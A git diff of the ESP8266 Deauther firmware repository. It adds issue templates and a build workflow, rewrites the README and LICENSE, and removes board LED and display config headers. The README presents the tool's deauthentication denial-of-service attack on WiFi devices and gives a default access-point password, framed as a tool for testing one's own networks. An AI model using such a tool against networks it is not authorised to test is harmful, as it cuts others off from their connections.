**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
If you don't use this template, your issue might be closed and tagged invalid!

34
.github/ISSUE_TEMPLATE/4--bug-report.md vendored Normal file
View File

@ -0,0 +1,34 @@
---
name: 4. Bug report
about: I found a reproducible bug in the code
title: ""
labels: bug
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
Steps to reproduce the behavior:
1. Go to '...'
2. Click on '....'
3. Scroll down to '....'
4. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Environment (please complete the following information):**
- OS: [e.g. iOS]
- Browser [e.g. chrome, safari]
- Version [e.g. 1.0]
- Hardware [e.g. DSTIKE, DIY]
**Additional context**
Add any other context about the problem here.
If you don't use this template, your issue might be closed and tagged invalid!

View File

@ -0,0 +1,18 @@
---
name: 5. Documentation
about: I have something to improve or add to the docs
title: ''
labels: documentation
assignees: ''
---
**Describe your changes**
A clear and concise description of what you like to add or change.
**Location**
Where should these changes be made or the information published?
Wiki, README, ...
**Additional context**
Add any other context about your proposal.

15
.github/config.yml vendored Normal file
View File

@ -0,0 +1,15 @@
# Configuration for welcome - https://github.com/behaviorbot/welcome
newIssueWelcomeComment: >
Congrats on opening your first issue on this repository! 🎉<br>
This is a automated message to help you avoid common pitfalls when asking for help online.<br>
👉 Be sure to:<br>
* 🇬🇧 Communicate in English so everybody can understand you<br>
* 📖 Have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki) and [README](https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/README.md) for information<br>
* 🔍 Search for similar [issues (open and closed)](https://github.com/SpacehuhnTech/esp8266_deauther/issues?q=is%3Aissue+)<br>
* ✍️ Provide enough information to understand, recreate and help out with your problem<br>
* Let us know if you find a solution and please share it with us<br>
* 📕 Close the issue when your problem has been solved
newPRWelcomeComment:
firstPRMergeComment:

19
.github/stale.yml vendored Normal file
View File

@ -0,0 +1,19 @@
# Number of days of inactivity before an issue becomes stale
daysUntilStale: 180
# Number of days of inactivity before a stale issue is closed
daysUntilClose: 7
# Issues with these labels will never be considered stale
exemptLabels:
- pinned
- bug
- translation
- feature request
# Label to use when marking an issue as stale
staleLabel: stale
# Comment to post when marking an issue as stale. Set to `false` to disable
markComment: >
This issue has been automatically marked as stale because it has not had
recent activity. It will be closed if no further activity occurs. Thank you
for your contributions.
# Comment to post when closing a stale issue. Set to `false` to disable
closeComment: false

21
.github/workflows/nightly.yml vendored Normal file
View File

@ -0,0 +1,21 @@
name: Trigger nightly build
on:
push:
jobs:
notify-nightly:
name: "Trigger new build on nightly-deauther"
runs-on: ubuntu-latest
steps:
- name: Build message title
id: notif
run: echo ::set-output name=TITLE::Deauther V2 $(echo ${{ github.sha }} | cut -c -7)
- name: Send message
run: |
curl -X POST https://api.github.com/repos/spacehuhntech/nightly-deauther/dispatches \
-H 'Accept: application/vnd.github.everest-preview+json' \
-u ${{ secrets.ACCESS_TOKEN }} \
--data '{"event_type": "${{ steps.notif.outputs.TITLE }}", "client_payload": {}}'

12
.gitignore vendored Normal file
View File

@ -0,0 +1,12 @@
*.bin
*.elf
*.map
.DS_Store
*.pyc
utils/web_converter/css_html_js_minify/__pycache__/

View File

@ -1,4 +0,0 @@
> Please search for existing (open and closed) issues first to avoid duplicates.
Also have a look at the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki).
Please put error messages and code ```inside these 3 quotes/grave accents```
(Delete this text when you've read it)

View File

@ -1,6 +1,8 @@
Do not redistribute, advertise or sell this software as a "jammer"!!!
MIT License
Copyright (c) 2018 Stefan Kremser
Copyright (c) 2020 Spacehuhn Technologies
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@ -12,8 +14,6 @@ furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
Do not redistribute, advertise or sell this software as a "jammer"!
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

114
README.md
View File

@ -1,106 +1,38 @@
# ESP8266 Deauther 2.0
# ESP8266 Deauther
<p align="center"><img alt="PICTURE logo" src="https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/deauther_logo.png" width="200"></p>
<img src='https://deauther.com/img/logo.png' alt='Deauther Logo' width='200' />
<p align="center">
🐦 <a href="https://twitter.com/spacehuhn">Twitter</a>
| 📺 <a href="https://www.youtube.com/channel/UCFmjA6dnjv-phqrFACyI8tw">YouTube</a>
| 🌍 <a href="https://spacehuhn.de">spacehuhn.de</a><br>
<br>
<b>Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners!<br><br>
Click <a href="https://github.com/spacehuhn/esp8266_deauther/wiki/Installation">here</a> for the installation tutorial.<br>
Click <a href="https://github.com/spacehuhn/esp8266_deauther/releases">here</a> for the .bin files.<br><br>
Support the development of this project by purchasing one of the <a href="https://github.com/spacehuhn/esp8266_deauther/wiki/Supported-Devices">official deauther boards</a>.<br/>
Or become a patron on <a href="https://patreon.com/spacehuhn" target="_blank">patreon.com/spacehuhn</a>.<br>
Also available: <a href="https://www.tindie.com/products/Spacehuhn/spacehuhn-stickers/">Stickers</a></b>!
</p>
**Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners.**
## What is New
[Here is a quick video about what is new](https://youtu.be/6oRmm3xfp6U)
Version 2.0:
- Completly rewritten code base for better performance and later enhancements
- Custom Deauther SDK for easy compiling using Arduino
- New serial command line interface to control and debug the program
- New display UI with a lot of new functions
- Improved web interface with multi-language support
- Improved scanning for access points and stations (+ continuous scanning mode)
- Save and select device names for both scanning and attacking
- Save up to 60 SSIDs and 25 devices in one list (you can create, load and save multiple lists)
- Added [PacketMonitor](https://github.com/spacehuhn/PacketMonitor) to display UI
- Deauth detection when scanning
- RGB LED support for a quick indication what the device is doing (attacking, scanning, ...)
- Better documentation on the new [wiki](https://github.com/spacehuhn/esp8266_deauther/wiki)
## New Documentation
## About this project
This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip).
Hi 👋
Please visit [Deauther.com](https://deauther.com) for information about this project.
Here are some quick links:
The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network.
No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone who has less than 10 USD to spare to recreate this project.
I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software.
To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected managment frames (PMF).
While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled.
* [Buy](https://deauther.com/docs/buy)
* [Download](https://deauther.com/docs/download)
* [DIY Tutorial](https://deauther.com/docs/category/diy-tutorial)
* [Usage](https://deauther.com/docs/category/usage)
* [FAQ](https://deauther.com/docs/faq)
Feel free to test your hardware out, annoy these companies with the problem, share this project and push for a fix!
This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general.
**But please use this tool responsibly and do not use it against others without their permission!**
## Password
The difference between deauthing and jamming: [click me](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ#difference-between-jammer-and-deauther)
The password for `pwned` is `deauther`
## Official Deauther Boards
## About this Project
![PICTURE DSTIKE Deauther OLED Board](https://raw.githubusercontent.com/wiki/spacehuhn/esp8266_deauther/img/DSTIKE_Deauther_Board.jpg)
This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general.
If you want to support the development of this project, you can buy one of the offical boards by DSTIKE (Travis Lin) on following sites:
- [Tindie](https://tindie.com/stores/lspoplove)
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
- [Taobao](https://shop135375846.taobao.com)
Those boards are optimized for this project, ready to use and come preflashed with the Deauther software!
For more details visit the [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) under [Supported Devices](https://github.com/spacehuhn/esp8266_deauther/wiki/Supported-Devices).
The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network.
Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware.
With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network.
## Disclaimer
This project is a proof of concept for testing and educational purposes.
Neither the ESP8266, nor its SDK was meant or built for such purposes. Bugs can occur!
Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!**
Use it only against your own networks and devices!
**Use it only against your own networks and devices!**
Please check the legal regulations in your country before using it.
I don't take any responsibility for what you do with this program.
It is **not a frequency jammer** as claimed falsely by many people. Its attack, its method and how to protect against it is described above. It uses valid Wi-Fi frames described in the IEEE 802.11 standard and doesn't block or disrupt any frequencies.
This project is meant to draw more attention on this issue.
The [deauthentication](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
A solution is already there, why don't we use it?
**Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!**
If you do, it only proves that you didn't understand anything of what this project stands for. Publishing content about this without a proper explaination shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard!
## Getting Started
Visit our new [Wiki](https://github.com/spacehuhn/esp8266_deauther/wiki) on how to recreate this project and use it.
Happy Hacking!
## Credits
A huge thanks to:
- [@deantonious](http://github.com/deantonious)
- [@jLynx](https://github.com/jLynx)
- [@lspoplove](https://github.com/lspoplove)
- [@schinfo](https://github.com/schinfo)
- [@tobozo](https://github.com/tobozo)
- [@xdavidhu](https://github.com/xdavidhu)
- [@PwnKitteh](https://github.com/PwnKitteh)
for helping out with various things regarding this project and keeping it alive!
I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
Shoutout to everyone working on the libraries used for this project:
- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306)
- [ArduinoJson](https://github.com/bblanchon/ArduinoJson)
- [LinkedList](https://github.com/ivanseidel/LinkedList)
Also thanks to everyone that supports this project by [donating](http://spacehuhn.de/donate), being my [patron](http://patreon.com/spacehuhn) or buying one of the [official Deauther boards](https://www.tindie.com/stores/lspoplove) from DSTIKE.
## License
This software is licensed under the MIT License. See the [license file](LICENSE) for details.
We don't take any responsibility for what you do with this program.

View File

@ -1,5 +1,5 @@
#include <EEPROM.h>
#include <FS.h>
#include <LittleFS.h>
/*
Upload this sketch to your ESP8266 to erase
@ -25,10 +25,10 @@ void setup() {
Serial.println("EEPROM cleaned");
SPIFFS.begin();
LittleFS.begin();
Serial.println("SPIFFS initialized");
SPIFFS.format();
LittleFS.format();
Serial.println("SPIFFS cleaned");
ESP.eraseConfig();
@ -44,4 +44,4 @@ void setup() {
void loop() {
}
}

4
arduino-cli.yaml Normal file
View File

@ -0,0 +1,4 @@
# arduino-cli.yaml
board_manager:
additional_urls:
- https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json

View File

@ -1,91 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS true // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 12
#define LED_NEOPIXEL_PIN 15
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,18 +0,0 @@
# DSTIKE D-duino-b-v5 with the LED Ring Shield
| | |
| - | - |
| LED Type | Neopixel (WS2812) |
| LED Pin | GPIO 15 |
| Number of LEDs | 12 |
| Display and buttons enabled | YES |
| Display Driver | SH1106 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | No |
| Button Up |GPIO 12 |
| Button Down | GPIO 13 |
| Button Left | Disabled |
| Button Right | Disabled |
| Button A | GPIO 14 |
| Button B |Disabled |

View File

@ -1,80 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 15
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 10
#define BUTTON_DOWN 9
#define BUTTON_LEFT 0
#define BUTTON_RIGHT 13
#define BUTTON_A 14
#define BUTTON_B 12
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
*/
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,18 +0,0 @@
# DSTIKE Deauther Boy
| | |
| - | - |
| LED Type | Neopixel (WS2812) |
| LED Pin | GPIO 15 |
| Number of LEDs | 1 |
| Display and buttons enabled | YES |
| Display Driver | SH1106 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | No |
| Button Up |GPIO 10 |
| Button Down | GPIO 9 |
| Button Left | GPIO 0 |
| Button Right | GPIO 13 |
| Button A | GPIO 14 |
| Button B |GPIO 12 |

View File

@ -1,91 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,19 +0,0 @@
# DSTIKE Deauther OLED v1 - v1.5
| | |
| - | - |
| LED Type | Digital |
| LED R | GPIO 16 |
| LED G | disabled |
| LED B | GPIO 2 |
| Display and buttons enabled | YES |
| Display Driver | SSD1306 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | NO |
| Button Up |GPIO 12 |
| Button Down | GPIO 13 |
| Button Left | disabled |
| Button Right | disabled |
| Button A | GPIO 14 |
| Button B |disabled |

View File

@ -1,91 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 16 // NodeMCU on-board LED
#define LED_PIN_G 0
#define LED_PIN_B 2 // ESP-12 LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
// ========================================================= //
#endif

View File

@ -1,19 +0,0 @@
# DSTIKE Deauther OLED v2 - v3
| | |
| - | - |
| LED Type | Digital |
| LED R | GPIO 16 |
| LED G | disabled |
| LED B | GPIO 2 |
| Display and buttons enabled | YES |
| Display Driver | SH1106 |
| Display SDA | GPIO 5 (D1) |
| Display SCL | GPIO 4 (D2) |
| Flip Display | NO |
| Button Up |GPIO 12 |
| Button Down | GPIO 13 |
| Button Left | disabled |
| Button Right | disabled |
| Button A | GPIO 14 |
| Button B |disabled |

View File

@ -1,91 +0,0 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 2 // ESP-12 LED
#define LED_PIN_G 0
#define LED_PIN_B 16 // NodeMCU on-board LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 15
// Parameter 1 = number of pixels in strip
// Parameter 2 = Arduino pin number (most are valid)
// Parameter 3 = pixel type flags, add together as needed:
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // default display setting
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
